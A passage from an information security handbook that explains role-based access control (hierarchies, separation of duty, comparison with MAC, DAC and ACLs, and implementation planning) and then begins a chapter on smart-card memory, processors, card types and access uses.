Hierarchical RBAC The second component in the RBAC reference model is hierarchical RBAC. In any organization, employees often have overlapping responsibilities and privileges, and generic operations exist that all employees should be able to perform. It would be extremely inefficient and would cause unnecessary administrative overhead to assign these permissions to all roles. To avoid this overhead, role hierarchies are used. A role hierarchy defines roles that have unique attributes and that may contain other roles; that is, “one role may implicitly include the operations, constraints and objects that are associated with another role”(Ferraiolo et al., 1995). Role hierarchies are consistently discussed whenever considering roles, as they are a natural way to implement roles in such a way as to reflect an organizational structure to show lines of authority and responsibility; conventionally, the more senior role is shown toward the top of the diagram and the less senior role toward the bottom (Sandhu et al., 1996). An example of role hierarchies in a hospital is shown in Figure 2.4, where the roles of surgeon and radiologist contain the role of specialist, which in turn contains the role of intern. Because of the transitive nature of role hierarchies, surgeon and radiologist also contain the role of intern. The RBAC reference model (Figure 2.5) describes inheritance in terms of permissions; role r1 “inherits” role r2 if all privileges of r2 are also privileges of r1. Additionally, role permissions are not managed centrally for some distributed RBAC implementations; for these systems, role hierarchies are managed in terms of user containment3 relations: Role r1 “contains” role r2 if all users authorized for r1 are also authorized for r2 (ANSI, 2004). The reference model also recognizes two types of role hierarchies: • General role hierarchies • Limited role hierarchies
21
An Introduction to Role-Based Access Control
Surgeon
Radiologist
Most Senior
Specialist
Intern
Least Senior
FIGURE 2.4 An example of role hierarchies.
General role hierarchies support multiple inheritances, which allow roles to inherit permissions from two or more roles; conversely, limited role hierarchies are restricted to inheriting permissions from a single immediate descendent (ANSI, 2004).
Constrained RBAC Constrained RBAC adds separation of duty (SoD) relations to the RBAC model. SoD is a universally practiced principle that helps to prevent fraud and errors by ensuring that “no individual is given sufficient authority within the system to perpetrate fraud on his own”(Sandhu, 1990). SoD ensures that if a person is allowed to create or certify a well-formed transaction he or she is not allowed to execute it, thus ensuring that at least two people are required to make a change to the system. It should be noted that SoD could be bypassed if two employees were to collude to defeat the system. Further reading on SoD can be found in the work by Clark and Wilson (1987), Sandhu (1990), and Gligor et al. (1998). The RBAC reference model refers to two types of SoD: static separation of duty (SSD) relations and dynamic separation of duty (DSD) relations. As illustrated in Figure 2.6, SSD is concerned with ensuring that a user cannot hold a particular role set while in possession of a directly conflicting role set; therefore, within this model it is concerned with constraining user assignments. This makes SSD very efficient at
Role Hierarchy (RH) User Assignment (UA)
Permission Assignment (PA)
Roles
Users
Operations
Objects
Permissions user_sessions
session_roles Sessions
FIGURE 2.5 Hierarchical RBAC.
22
Information Security Management Handbook
Role Hierarchy (RH)
SSD
Permission Assignment (PA)
User Assignment (UA)
Users
Roles
Operations
Objects
Permissions session_roles
user_sessions Sessions
DSD
FIGURE 2.6 Constrained RBAC.
implementing conflict of interest policies. It should also be noted that SSD relations may exist within hierarchical RBAC; if this is the case, special care must be taken to ensure that inheritance does not undermine SSD policies (ANSI, 2004). This could easily happen; for example, a senior role could inherit two roles of a directly conflicting role set. Various ways to work around this issue have been suggested (Ferraiolo et al., 1999; Sandhu, 1998a). Additionally, within a company, a specific role may only be allowed to be filled with a finite number of users at any given time; for example, the company would only ever have one CEO. Alternatively, a single user may only be allowed to hold a finite number of roles. SSD allows enforcement of these cardinality constraints;4 however, despite its obvious advantages, SSD can be considered as being too inflexible in the area of granularity of specification of conflict of interests. These criticisms are similar to those leveled against the Chinese Wall model (Brewer and Nash, 1989). These issues have been addressed by the introduction of DSD, which allows a user to hold two roles that would conflict if activated together but ensures that the roles are not activated during the same session, thus removing the possibility of any conflict being realized (ANSI, 2004).
RBAC Versus Traditional Access Control Methods No look at RBAC would be complete without comparing RBAC to some of the more traditional access control methods, such as: • Discretionary and mandatory access controls • Access control lists • Groups Discretionary and Mandatory Access Controls Mandatory access controls (MACs) and discretionary access controls (DACs), are still the most widely used forms of access control in today’s commercial and military access controls systems (Ferraiolo et al., 2003). A lot of research has been published that discusses the similarities and differences between RBAC and MAC and DAC (Ferraiolo et al., 2003; Nyanchama and Osborn, 1995; Osborn, 1997; Osborn et al., 2000); however, one question that remains unanswered is does the introduction of RBAC mean that MAC and DAC will be replaced? Positions on this question differ. In a survey by the SETA Corp. (Smith et al., 1996), it was stated that “RBAC is not a replacement for the existing MAC and DAC products, it is an adjunct to them.” Conversely, Kuhn (1998) stated that “RBAC is an alternative to traditional MAC and DAC policies.” Kuhn’s statement would seem to be supported by research that shows that RBAC can successfully implement both MAC and DAC policies (Nyanchama and Osborn, 1995; Osborn, 1997;
23
An Introduction to Role-Based Access Control
Users
Groups
Permissions
FIGURE 2.7 User and group permission assignment.
Osborn et al., 2000); for completeness, it should be noted that additional research shows that RBAC can be implemented using MAC policies (Ferraiolo et al., 2003). It, therefore, appears initially that because RBAC can so successfully implement MAC and DAC policies they could become redundant; however, Osborn (1997) showed that significant constraints exist on the ability to assign roles to subjects without violating MAC rules (Ferraiolo et al., 2003). These constraints, the lack of guidance in this area from the current standards, and the proliferation of their use in many of today’s systems mean that, regardless of whether or not RBAC is an adjunct to or replacement for MAC and DAC, they will remain widely used forms of access control for the foreseeable future. This will undoubtedly mean that we will see implementations that use RBAC and MAC and DAC as well as implementations where RBAC interfaces with legacy MAC and DAC systems (Kuhn, 1998). Groups The use of groups5 (Figure 2.7) in modern operating systems such as Windows 2000 can be considered very similar to the core RBAC concept illustrated in Figure 2.1; however, some fundamental differences exist. Groups are generally considered to be collections of users, and determining which users are members of a given group is extremely easy; however, as permissions can be granted to a group on an ad hoc basis across several systems, it can be a nearly impossible task to determine exactly where the group has been granted permission across an enterprise. Because a role is a collection of both users and permissions it is equally as easy to determine which users and permissions are assigned to the role, and roles cannot be bypassed. A more fundamental difference is that a role can be considered a policy component; groups cannot. A role in an enterprise will adhere to a given rule set and exhibit the same properties regardless of the implementation. Groups, on the other hand, are implementation specific; therefore, their properties may change from one implementation to another within the same enterprise — for example, between a Windows 2000 implementation and a UNIX implementation (Sandhu, 1994). Access Control Lists The discussion regarding RBAC and access control lists (ACLs) could be very similar to that of RBAC and groups; in reality, it would merely be an extension of that discussion. With ACLs, the access rights to an object are stored with the object itself, and these access rights are either users or groups. The fact that users can be entries in the ACL can complicate management and result in legacy access permissions for a user being left after group access has been revoked (Ferraiolo et al., 1999); this can make security assurance extremely difficult and devalues the overall security infrastructure. Barkley (1997) illustrated how a simple RBAC model can be compared to ACLs if the only entries permitted in the ACL are groups. While this is a very good argument and is certainly true in the context in which it is presented (i.e., a basic RBAC model), it does not hold when we consider the more complex RBAC models we have seen, which are far more flexible and useful than basic ACLs. Additionally, the real power of RBAC is its ability to abstractly represent the access control policy across the enterprise rather than on the individual system, which is where an ACL model such as Barkley’s would have to be implemented; however, ACLs will continue to be used throughout operating systems for the foreseeable future, with an overlaying RBAC system managing their entries, an example of which can be seen in Karjoth’s work (Karjoth, 2003).
24
Information Security Management Handbook
TABLE 2.2
Companies Offering RBAC-Enabled Products in 2002
Access360, Inc. Adexa, Inc. Baltimore Technologies BEA Systems, Inc. BMC Software, Inc. Cisco Systems, Inc. Entrust, Inc. Entrust Information Security Corp. International Business Machines Corp. Internet Security Systems, Inc. iPlanet E-Commerce Solutions Microsoft Corp. Network Associates, Inc. Novell Corp. OpenNetwork Technologies, Inc.
Oracle Corp. PGP Security, Inc Protegrity, Inc. Radiant Logic, Inc. RSA Security, Inc. Secure Computing Corp. Siemens AG SETA Corp. Sun Microsytems, Inc. Sybase, Inc. Symantec Corp. Systor AG Tivoli Systems, Inc. Vignette Corp.
Source: Gallaher, M. et al. 2002. The Economic Impact of Role-Based Access Control, a report prepared by RTI and submitted to National Institute of Standards and Technology, Gaithersburg, MD (http:// www.nist.gov/director/prog-ofc/report02-1.pdf).
Commercial RBAC Role-based access control has already been successfully implemented to varying degrees in many commercial systems. In a report submitted to NIST in 2002, Gallaher et al. (2002) identified organizations offering RBAC-enabled products at the time (see Table 2.2). These commercially available products range from database management systems (DBMSs) and application management to operating systems; in most cases, they meet the basic requirements for RBAC as laid out in the ANSI standard, but few of the products offer enterprisewide solutions as they mainly focus on their own systems or related applications. Of course, this list has grown since the original research in 2002, with improved offerings and an increasing number of companies moving into the “enterprise RBAC” niche; however, the number of companies offering truly enterprisewide RBAC is still minimal.This seems a shame because the strength of RBAC over other access control systems is its ability to represent the organizational structure and enforce access control policies across the enterprise; this is the area vendors must address if RBAC is to become a viable and easy option for today’s enterprises. That said, this does not mean that RBAC is not ready for the enterprise today; rather, several issues must simply be taken into account when planning an RBAC implementation.
Implementing RBAC Before an organization can even consider the actual RBAC implementation, they must consider all of the additional work, as illustrated in Figure 2.8, which must be successfully completed before such an implementation can be achieved. Much has already been written about access control policies so they will not be considered here.
Identify the Scope and Motivation It should be remembered when implementing an RBAC system that technology is only a small part of the overall solution. Before making any technology choices the implementing organization should ensure that the scope and requirements are clearly defined. One of the biggest challenges to implementing an enterprisewide RBAC system is integration with legacy systems.6 As with all new initiatives within an enterprise, an RBAC implementation requires support from senior management to be successful. If implementation required the costly replacement of all legacy systems with more compatible systems, that
25
An Introduction to Role-Based Access Control
Access Control Policy Definition
Identify Scope and Motivation
Requirements Gathering
Role Engineering
Technology Selection
Implementation
FIGURE 2.8 Implementation flow.
support would not be forthcoming and the project would fail. It is for this reason that the scope of a potential project must be well defined in the early stages and expectations set at the correct level. If the project is sold as the silver bullet that will end all access control woes, it is likely to be approved, but when the final solution can only cover 45 percent of the organization’s systems some tough questions will have to be answered. To fully understand the scope of the implementation and ensure that the scope can be achieved, the motivation for implementing RBAC must also be fully understood. If the motivation is purely for regulatory compliance, then all systems affected by that legislation must fall under the scope; if the motivation is to bring together existing user management and access control systems in one unified solution, then all existing systems must be identified. The motivation may also have an impact on the project schedule, which in turn may have a direct impact on which vendors can offer a solution to meet the organization’s needs.
Requirements Gathering Today’s large and complex enterprises may have many incompatible operating systems, applications, and databases spread over a large geographical area; each may have its own requirements when it comes to access control. Once the systems within the scope of the project have been identified, the requirements of each must be understood and documented so they can be conveyed to potential vendors. It is important to understand which requirements are primary and which are secondary, so vendors can get a true understanding of which solutions will meet the organization’s core needs. Time spent on this area early on will undoubtedly save time with vendor selection and implementation later.
Role Engineering The process of defining roles, permissions, role hierarchies, and constraints and assigning permissions to roles is known as role engineering (Qingfeng, 2003). Role engineering is an essential first step when implementing RBAC and possibly the most important step to ensuring success. The task of identifying
26
Information Security Management Handbook
roles and their associated permissions in an enterprise is an extremely large and onerous one. An estimation of the number of roles within a given organization is 3 to 4 percent of the user population (ACM, 2000). This number is backed up by an RBAC implementation within the Dresdner Bank, Germany, where a user population of 40,000 yielded 1300 roles (approximately 3.2 percent of the user population) (Schaad et al., 2001), this can be attributed to the fact that one person can hold multiple roles. Additionally, this example does not discuss the number of permissions assigned, which we can assume number in the thousands. Indeed, role engineering in a large enterprise is seen as such a complex task that appointing a new position of role engineer has been suggested (Schimpf, 2000); this position would assume a linking role between the various corporate business units, systems management, and security administration and would require skills such as those of a business analyst, platform specialist, and security administrator. Role engineering was identified as being an important part of RBAC by Coyne as early as 1995 (Coyne, 1995); however, it was largely neglected in early RBAC research and is not mentioned in the standard or much of the work conducted in the area. More recent research has focused on role engineering, and several approaches have been identified, such as scenario-driven role engineering (Neumann and Strembeck, 2002), determining role rights from use cases (Fernandex and Hawkins, 1997), adopting a processoriented approach (Roeckle et al., 2000), and using Unified Modeling Language (UML)7 for role engineering (Epstein and Sandhu, 1999), among others. The actual processes behind these different approaches are outside the scope of this article; however, we can see from the research that many ways to approach the problem have been proposed. Some of the approaches address only a small part of the whole process, but others endeavor to create a holistic approach to encompass the entire enterprise. Each role-engineering approach introduces additional components, such as both organizational and functional roles (Neumann and Strembeck, 2002), that are different from the composite roles — organizational and system (Park et al., 2004) — both of which extend the core RBAC model that defines only roles. Moreover, although each approach purports to lead to a simplified RBAC implementation, no mapping between the components used for role engineering and the components identified in the RBAC standard has been provided. Because role engineering is such a large task, it should not be left until the last minute. As soon as systems within the scope of the project have been identified, then role engineering should be initiated.
Technology Selection and Implementation We have already seen that many vendors offer RBAC solutions, but choosing the correct one can be a difficult task. If the project has been correctly scoped and the requirements understood, however, the task will be simpler. It is essential at this stage to understand what each vendor is actually offering and separate the facts from marketing hype; visiting reference implementations and speaking to existing customers are excellent ways to achieve this. It should also be remembered that a phased approach to implementation can also help with technology selection. If a particular vendor has a solution that meets the organization’s requirements but does not support all of the systems within the desired scope, then it may still be the solution to go for if the vendor has plans to widen its system support. This is, of course, dependent on the project schedule and motivations. A phased approach to implementation is also the best way to proceed with this type of project; choosing a smaller system on which to pilot the solution will help to iron out any glitches before tackling larger systems that are more critical.
Conclusion The principle motivations behind RBAC are sound: to create an access control model that has the ability to represent the organizational structure and enforce access control policy across the enterprise while easing the administrative burden. It also encompasses the best design principles from earlier models, such as the principle of least privilege and separation of duties, and applies them across the enterprise to create an all-in-one access control framework. For these reasons, RBAC is a viable proposition for
An Introduction to Role-Based Access Control
27
today’s enterprise. Many vendors are getting into this growing market with offerings that can go some way toward realizing an all-in-one solution, and now is certainly a good time for organizations to consider moving toward such a solution. In addition to simplifying the administrative nightmare that access control can cause, RBAC can also vastly simplify auditing who has access to where, a key requirement in legislation such as Sarbanes–Oxley; however, it should be remembered that RBAC is still a relatively immature area and many solutions still have quite some way to go before reaching their true potential. It is for these reasons that organizations should be sure they properly understand their own scope, motivations, and requirements before committing large amounts of time and money to such a project.
Notes 1. A hierarchy is a partial order defining a seniority relation between roles. 2. Users should have only the minimum set of access rights necessary to perform their tasks. 3. User containment implies that “a user of r1 has at least all the privileges of r2, while the permission inheritance for r1 and r2 does not imply anything about user assignment” (ANSI, 2004). 4. Restricting the number of roles a user may hold or the number of users who may hold a given role. 5. A group is usually described as a collection of users (Sandhu et al., 1996). 6. Refers to all existing systems regardless of age. 7. Unified Modeling Language is an industry-standard language for specifying, visualizing, constructing, and documenting the artifacts of software systems (UML, 2005).
References Allen, A. 2001. Enterprise user administration (EUA) products: perspective. In Gartner Group Technology Overview, DPRO-102049. Stamford, CT: Gartner, Inc. ANSI/INCITS. 2004. 359-2004: Information Technology — Role-Based Access Control. American National Standards Institute/International Committee for Information Technology Standards, http:// www.techstreet.com/cgi-bin/detail?product_id=1151353. ACM. 1995. Association for Computing Machinery, New York, http://www.acm.org. Baldwin, R. 1990. Naming and grouping privileges to simplify security management in large databases. In Proc. of IEEE Symposium on Computer Security and Privacy, Oakland, CA, May. Barkley, J. 1997. Comparing Simple Role-Based Access Control Models and Access Control Lists. Gaithersburg, MD: National Institute of Standards and Technology. Brewer, D. and M. Nash. 1989. The Chinese Wall security policy. In Proc. of the IEEE Symposium on Research on Security and Privacy, Oakland, CA, pp. 206–214. Clark, D. and D. Wilson. 1987. A comparison of commercial and military computer security policies. In Proc. of the IEEE Symposium on Security and Privacy, Oakland, CA, May, pp. 184–194. Coyne, E. 1995. Role-engineering. In Proc. of the First ACM Workshop on Role-Based Access Control, edited by C. Youman, R. Sandhu, and E. Coyne. Gaithersburg, MD: ACM Press. Epstein, P. and R. Sandhu, 1999. Towards a UML-based approach to role engineering. In Proc. of the 4th ACM Workshop on Role-Based Access Control (RBAC’99), Fairfax, VA, October 28–29, pp. 135–143. Fernandez, E. and J. Hawkins. 1997. Determining role rights from use cases. In Proc. of 2nd ACM Workshop on Role-Based Access Control, Fairfax, VA, October, pp. 121–125. Ferraiolo, D. and R. Kuhn. 1992. Role-based access control. In Proc. of the 15th NIST–NCSC National Computer Security Conferenc, Baltimore, MD, October 13–16. Ferraiolo, D., D. Gilbert, and N. Lynch. 1993. An examination of federal and commercial access control policy needs. In Proc. of the 16th NIST–NCSC National Computer Security Conferenc, Baltimore, MD, September 20–23, pp. 107–116. Ferraiolo, D., J. Cugini, and D. Kuhn. 1996. Role-based access control: features and motivations. In Proc. of the 11th Annual Conference on Computer Assurance, Gaithersburg, MD, June. Ferraiolo, D., J. Barkley, and D. Kuhn. 1999. A role-based access control model and reference implementation within a corporate intranet. ACM Trans. Inform. Syst. Security 2(1):34–64.
28
Information Security Management Handbook
Ferraiolo, D., R. Kuhn, and R. Sandhu. 2001a. Proposal for Fast-Tracking NIST Role-Based Access Control Standard, http://csrc.nist.gov/rbac/RBAC-Std-Proposal.ppt. Ferraiolo, D., R. Sandhu, S. Gavrila, D. Kuhn, and R. Chandramouli. 2001b. Proposed NIST standard for role-based access control. ACM Trans. Inform. Syst. Security 4(3):224–274. Ferraiolo, D., D. Kuhn, and R. Chandramouli. 2003. Role-Based Access Control. Norwood, MA: Artech House. Gallaher, M., A. O’Connor, and B. Kropp. 2002. The Economic Impact of Role-Based Access Control, a report prepared by RTI and submitted to National Institute of Standards and Technology, Gaithersburg, MD (http://www.nist.gov/director/prog-ofc/report02-1.pdf). Gligor, V., S. Gavrila, and D. Ferraiolo. 1998. On the formal definition of separation-of-duty policies and their composition. In Proc. of the IEEE Symposium on Security and Privacy, Oakland, CA, May. Jaeger, T. and J. Tidswell. 2000. Rebuttal to the NIST RBAC model proposal. In Proc. of the 5th ACM Workshop on Role-Based Access Control, Berlin, July 26–28, pp. 65–66. Jansen, W. 1998. A Revised Model for Role-Based Access Control, NIST-IR 6192. Washington, D.C.: Computer Security Resource Center, National Institute of Standards and Technology (http://csrc.nist. gov/rbac/jansen-ir-rbac.pdf). Karjoth, G. 2003. Access control with IBM Tivoli access manager. ACM Trans. Inform. Syst. Security 6(2):232–257. Kuhn, D. 1997. Role-based access control on MLS systems without kernel changes. In Proc. of the 3rd ACM Workshop on Role-Based Access Control, Fairfax, VA, October. NAC. 2002. Role-Based Access Control Frequently Asked Questions, v3.0. San Francisco, CA: Network Applications Consortium (http://www.netapps.org/docs/NAC_RBAC_FAQ_V3a.pdf). Neumann, G. and M. Strembeck. 2002. A scenario-driven role engineering process for functional RBAC roles. In Proc. of the 7th ACM Symposium on Access Control Models and Technologies (SACMAT), Monterey, CA, June. Nyanchama, M. and S. Osborn. 1995. Modeling mandatory access control in role-based security systems. In Database Security IX: Status and Prospects, edited by D. Spooner, S. Demurjian, and J. Dobson. London: Chapman & Hall, pp. 129–144. Osborn, S. 1997. Mandatory access control and role-based access control revisited. In Proc. of the 2nd ACM Workshop on Role-Based Access Control, Fairfax, VA, October. Osborn, S., R. Sandhu, and Q. Munawer. 2000. Configuring role-based access control to enforce mandatory and discretionary access control policies. ACM Trans. Inform. Syst. Security 3(4):207–226. Park, J., K. Costello, T. Neven, and J. Diosomito. 2004. A composite RBAC approach for large, complex organizations. In Proc. of the 9th ACM Symposium on Access Control Models and Technologies (SACMAT), Sweden. Qingfeng, H. 2003. A structured role engineering process for privacy-aware RBAC systems. In Proc. of the 11th IEEE International Requirements Engineering Conference (RE ’03) Doctoral Symposium, Monterey, CA, September 8–12, pp. 31–35. Roeckle, H., G. Schimpf, and R. Weidinger. 2000. Process-oriented approach for role-finding to implement role-based security administration in a large industrial organization. In Proc. of the 5th ACM Workshop on Role-Based Access Control, Berlin, July 26–27, pp. 103–110. Sandhu, R. 1990. Separation of duties in computerized information systems. In Proc. of the IFIP WG11.3 Workshop on Database Security, September. Sandhu, R. 1994. Role-based access control: a position statement. In Proc. of the 17th National Computer Security Conference, October. Sandhu, R. 1995–1997. Task-Based Authorizations: A New Paradigm for Access Control. Alexandria, VA: Defense Advanced Research Projects Agency. Sandhu, R. 1998a. Role activation hierarchies. In Proc. of the Third ACM Workshop on Role-Based Access Control, Fairfax, VA, October 22–23, pp. 33–40. Sandhu, R. 1998b. Role-based access control. In Advances in Computers, Vol. 46, edited by M. Selkowits. San Diego, CA: Academic Press.
An Introduction to Role-Based Access Control
29
Sandhu, R., E. Coyne, H. Feinstein, and C. Youman. 1996. Role-based access control models. IEEE Computer 29(2):38–47. Sandhu, R., D. Ferraiolo, and R. Kuhn. 2000. The NIST model for role-based access control: towards a unified standard. In Proc. of the 5th ACM Workshop on Role-Based Access Control, Berlin, July 26–28, pp. 47–63. Sarbanes–Oxley. 2005. http://www.sarbanes-oxley.com. Schaad, A., J. Moffett, and J. Jacob. 2001. The role-based access control system of a European bank: a case study and discussion. In Proc. of the 6th ACM Symposium on Access Control Models and Technologies (SACMAT), Chantilly, VA, May. Schimpf, G. 2000. Role-engineering critical success factors for enterprise security administration. In Proc. of the 16th Annual Computer Security Applications Conference, New Orleans, LA, December. Smith, C., E. Coyne, C. Youman, and S. Ganta. 1996. A Marketing Survey of Civil Federal Government Organizations To Determine the Need for RBAC Security Product. McLean, VA: SETA Corporation (http://hissa.ncsl.nist.gov/rbac/seta.ps). Thomas, R. and R. Sandhu. 1993. Towards a task-based paradigm for flexible and adaptable access control in distributed applications. In Proc. of the 16th NIST–NCSC National Computer Security Conferenc, Baltimore, MD, September 20–23, pp. 409–415. Unified Modeling Language (UML). 2005. Resource Center, http://www-306.ibm.com/software/rational/ uml/.
This page intentionally left blank
3 Smart Cards Jim Tiller
Introduction Smart cards are fascinating creatures of technology. They literally hold the key to enhanced security. One of the many challenges to information security is controlling access to resources such as information, applications, services, or system devices. Today, username and password combinations are the norm for authenticating users, but this approach represents a fundamental weakness in security. Poor password usage and a myriad of potential exposures are beginning to become a significant hurdle in applying meaningful security controls in the ever-increasing complexity of information technology. As businesses place greater demands on information access and availability to a growing number of disparate entities, username and password combinations will simply not keep up. Not only do smart cards provide a mechanism to ensure long-term scalability and functionality for controlling access, but they also provide business-enabling services. It is within this context that the virtues of smart cards are discussed in this chapter, which examines some of the key benefits of smart cards and demonstrates how organizations of all types can leverage the technology to significantly improve security in many areas.
What Is a Smart Card? The term smart card is ambiguous at best and can be used in a multitude of ways. The International Organization for Standardization (ISO) uses the term integrated circuit card (ICC) to encompass all those devices where an integrated circuit (IC) is contained within an ISO 1 plastic identification card. The card is 85.6 × 53.98 × 0.76 mm and is essentially the same size as a bank or credit card. The embedded IC is, in part, a memory chip that stores data and provides a mechanism to write and retrieve data. Moreover, small applications can be incorporated into the memory to provide various functions.
Memory Several types of memory can be integrated into a smart card, for example: • ROM (read-only memory) — ROM, or better yet the data contained within ROM, is predetermined by the manufacturer and is unchangeable. Although ROM was used early in the evolution of smart cards, it is far too restrictive for today’s requirements. • PROM (programmable read-only memory) — This type of memory can be modified, but requires the application of high voltages to enact fusible links in the IC. The requirement for high voltage for programming has made it unusable for ICC, but many have tried. • EPROM (erasable programmable ROM) — EPROM was widely used in early smart cards, but the architecture of the IC operates in a one-time programmable (OTP) mode, thus restricting the
31
32
Information Security Management Handbook
services offered by the ICC. Moreover, it requires ultraviolet light to erase the memory, which makes it difficult for the typical organization to manage the cards. • EEPROM (electrically erasable PROM) — EEPROM is the IC of choice because it offers user access and the ability to be rewritten, in some cases up to a million times. Clearly these attributes are those that smart cards must have to be usable in today’s environment. Typically, the amount of memory will range from 8 to 256 KB. • RAM (random access memory) — Up to this point, all the examples were nonvolatile, meaning that when power is removed the data remains intact. RAM does not have this feature, and all data is lost when the unit is not powered. For some smart cards that have their own power source, RAM may be used to offer greater storage and speed; however, at some point the data will be lost — this can be an advantage or disadvantage, depending on one’s perspective.
Processor Memory alone does not make a card “smart.” In the implementation of an IC a microcontroller (or central processing unit) is integrated into the chip, effectively managing the data in memory. Control logic is embedded into the memory controller and provides various services, the least of which is security; therefore, one of the most interesting aspects of smart cards (and their use in security-related applications) is founded on the fact that controls associated with the data are intrinsic to the construction of the IC. To demonstrate, when power is applied to the smart card, the processor can apply logic in an effort to perform services and control access to the EEPROM. The logic controlling access to the memory is a significant attribute with regard to ensuring that the security of private data, such as a private key, is not exposed; therefore, smart cards can be configured to allow only a certificate containing a private key for digital signing purposes to be written onto the card but never accessed by external processes or applications. For example, the processor has the ability to perform cryptographic functions to data supplied by an outside source using an algorithm embedded in the processor and a key maintained in the memory. Moreover, programs can be embedded in portions of the memory that the processor utilizes to offer advanced services. We will discuss these in more detail later. Nevertheless, simply put, a smart card has a processor and nonvolatile memory, allowing it to be, well, smart as well as secure. Following are examples of smart-card features that are typically found on smart cards today: • 64-KB EEPROM — This is the typical amount of memory found on contemporary cards. • 8-bit CPU microcontroller — This is a small controller for which several forms of logic can be implemented. For example, it is not uncommon for a processor to perform cryptographic functions for DES, 3DES, RSA 1024-bit, and SHA-1, to name a few. • Variable power (2.7 to 5.5 V) — Given advances in today’s IC substrate, many cards will operate below 3 V, offering longer life and greater efficiencies. Alternatively, they can also operate up to 5.5 V to accommodate old card readers and systems. • Clock frequency (1 to 7.5 MHz) — In the early developments of smart-card technology, the clock was either 3.57 or 4.92 MHz, primarily because of the inexpensive and prolific crystals that were available. In contrast, today’s IC can operate at multiple speeds to accommodate various applications and power levels. • Endurance — Endurance refers to the number of write/erase cycles. Obviously, this is important when considering smart-card usage. Typically, most smart cards will offer between 250,000 and 500,000 cycles. Because the primary use of a smart card in a security scenario is permitting access to read data on the card, it is highly unlikely that someone would reach the limits of the IC; however, as more complex applications, such as Java, are integrated into the IC the data will require more management, forcing more cycles upon each use. • Data retention — User data and application data contained within the memory have a shelf life; moreover, that life span is directly related to the temperatures to which the smart card is exposed. Also, the proximity to some materials or radiation will affect the life of the data on a card. Most cards offer a range of 7 to 10 years of data retention.
33
Smart Cards
Vcc
GND
RST
Vpp
CLK
I/O
RFU
RFU
FIGURE 3.1 Contact plate on a smart card.
It is important to understand that a smart card is effectively a computer with many of the same operational challenges. It has an IC that incorporates the processor and memory, logic embedded in the processor that supports various services, and applications built into the processor and housed on the EEPROM for on-demand use. It also requires protocol management (how it is supposed to interface with other systems) and data management. All of these components and more exist in a very small substrate hidden in the card and will only become more complex as technology advances.
Card Types At the most basic level, there are two types of smart cards, which differ in how they interact with other systems: contact cards, which use physical contact to communicate with systems, or contactless cards, which interface using proximity technology. Contact Cards Contact cards are fairly self explanatory. Based on the ISO-7816-2 standard, a contact ICC provides for eight electrical contacts (only six are used) to interact with other systems or devices. The contacts on a smart card, as shown in Figure 3.1, provide access to different elements of the embedded IC. The contact designation (Cn) starts with C1, Vcc, and continues counter clockwise around the plate. As shown in Table 3.1, each contact has a specific purpose for interacting with the embedded chip. Contactless Cards Cards that are founded on proximity communications are growing in demand and in use. They are increasing in adoption because of their durability, applications in use, speed, and convenience. Their design eliminates the physicality of interacting with disparate systems, thus eliminating the type of damage incurred by contact cards with plates or magnetic strips. Finally, a contactless card offers a multitude of uses and opportunity for integration with, for example, cell phones or PDAs. Typically, the power and data interchange is provided by an inductive loop using low-frequency electronic magnetic radiation. The ISO 14443 defines the physical characteristics, radiofrequency (RF) power and signal interface, initialization and anticollision, and transmission protocol for contactless cards. The proximity coupling device (PCD) provides all the power and signaling control for communications with the card, which in this case is referred to as a proximity integrated circuit card (PICC). The PCD produces a RF field that activates the card when it is within the electrometric field loop. The frequency of the RF operating field
34
Information Security Management Handbook
TABLE 3.1
Contact Descriptions
Contact
Designation
Use
C1
Vcc
C2
RST
C3
CLK
C4 C5 C6
RFU GND Vpp
C7
I/O
C8
RFU
Power connection through which operating power is supplied to the microprocessor chip in the card Reset line through which the interface device (IFD) can signal to the microprocessor chip of the smart card to initiate its reset sequence of instructions Clock signal line through which a clock signal can be provided to the microprocessor chip; this line controls the operation speed and provides a common framework for data communication between the IFD and the integrated circuit card (ICC) Reserved for future use Ground line providing common electrical ground between the IFD and the ICC Programming power connection used to program electrically erasable programmable readonly memory (EEPROM) of first-generation ICCs Input/output line that provides a half-duplex communication channel between the reader and the smart card Reserved for future use
is 13.56 MHz ± 7 kHz, and it operates constantly within a minimum and maximum power range. When a PICC is incorporated into the loop, the PCD begins the communication setup process. The PCD alternates between two types of modulation (or signal types) — type A and type B — until a PICC is incorporated and interacts on a given interface. The important point is that both types support 106 kbps (kilobits per second) in bidirectional communications. This can be best compared to selecting the equivalent to layer 1 and 2 of the OSI model for computer networking. Many of the PICC and PCD solutions today are provided by or founded on Mifare and HID products and solutions, the de facto proximity solutions.
Smart-Card Uses Organizations can consider using smart cards in many ways: physical access, security, and even application extensions. Although each is helpful in its own right, the value lies in the singularity of the solution — a card; therefore, if any of the uses described below are seen as meaningful options, then by default all others are plausible and offer the potential for significant returns on related investments.
Physical Access Many companies employ building access credentials in the form of a common card. It is not unusual for a new employee to be issued an access card to allow entry into the building. Moreover, that same card can be used to determine varying levels of access to internal zones, furthering control of employee movements. The use of cards for access can encompass a wide range of solutions, such as controlling entry into parking lots, garages, main entry ways, data rooms, floors in a building, cabinets, and even trash bins. In most cases, access cards will bear the company name or logo and have a magnetic strip for interfacing with control systems; however, some organizations use proximity cards to accomplish the same functions as the magnetic strip. Usually, the card provides a unique identifier, nothing extraordinarily complex, which allows a central system to identify the card. The association of the card to the holder is assumed. The use of a smart card can provide enhanced services in certain scenarios. For example, verifying the association of a user with a card to provide access to a parking lot is not as important as ensuring that association when the user wants to access the data center; therefore, a smart card may not be queried for user data at the driveway but can be forced at the door of a computer room. The simplicity of traditional access cards does not provide data that can authenticate the holder of the card. Today, as the price of smart cards decreases and more service types are incorporated into them, such as magnetic strips and proximity features, the use of a single smart card is growing in demand.
Smart Cards
35
Employee Identification In addition to providing a card for physical access, many companies will take the next step and leverage the same substrate as employee or even visitor identification. In these scenarios, the employee information is emblazoned on the card, such as the employee’s photograph, name, designation, and department. Organizations that utilize access badges for employee identification clearly have taken advantage of the initial investment in the physicality of the badge. One could conclude that the added advantages offered by smart cards would fit within that philosophy.
